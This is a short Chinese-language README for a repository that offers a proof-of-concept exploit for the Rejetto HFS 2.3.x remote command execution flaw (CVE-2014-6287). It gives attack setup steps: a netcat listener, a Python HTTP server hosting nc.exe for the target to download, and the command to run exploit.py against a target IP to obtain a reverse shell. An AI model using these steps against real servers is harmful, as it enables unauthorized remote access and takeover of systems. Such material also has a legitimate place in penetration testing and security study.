rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

该仓库包含针对 Rejetto HTTP 文件服务器 (HFS) 2.3.x 远程命令执行漏洞的详细说明和可用 PoC。

配置：

创建一个 netcat 监听器。

nc -lnvp 1234

将攻击者 IP 改为你的 IP 和端口。

同时，在 nc.exe 所在的同一目录下创建一个 HTTP 文件服务器。

python -m http.server 80

python exploit.py <target-ip> <target-port>

注意：你可能需要多次运行该 payload 才能获得反弹 shell。